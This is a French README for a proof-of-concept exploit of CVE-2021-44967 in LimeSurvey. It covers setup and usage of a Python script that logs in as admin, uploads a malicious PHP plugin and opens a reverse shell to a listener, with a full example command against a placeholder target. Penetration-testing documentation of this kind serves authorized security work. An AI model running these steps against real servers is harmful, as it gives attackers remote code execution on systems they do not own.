
Exploit de preuve de concept pour CVE-2021-44967 permettant l'exécution de code à distance dans LimeSurvey 5.2.4 via le téléchargement de plugins malveillants, avec capacité de shell inverse.
Preuve de concept pour CVE-2021-44967. Le script s'authentifie auprès de LimeSurvey, téléverse et active un plugin PHP, puis déclenche un reverse shell.
À utiliser uniquement contre des systèmes que vous possédez ou que vous êtes autorisé à tester.
beautifulsoup4, netifaces et requestsnc disponible dans le PATHCréez un environnement isolé et installez les paquets Python :
python3 -m venv .venv
source .venv/bin/activate
python -m pip install beautifulsoup4 netifaces requests
python3 limesurvey_rce.py \
--url https://target.example \
--username admin \
--password 'password' \
--listen-ip tun0 \
--listen-port 4444
--listen-ip accepte une adresse IPv4 ou un nom d'interface et vaut tun0 par défaut. Si --file est omis, le script télécharge le reverse shell PHP de Pentestmonkey et le configure avec l'adresse d'écoute. Passez --file payload.php pour fournir à la place une charge utile PHP locale.
Exécutez python3 limesurvey_rce.py --help pour toutes les options, y compris les paramètres de proxy et de User-Agent personnalisé.
L'exploit a été testé contre LimeSurvey Community Edition 6.6.4. L'enregistrement CVE décrit le problème dans LimeSurvey 5.2.4.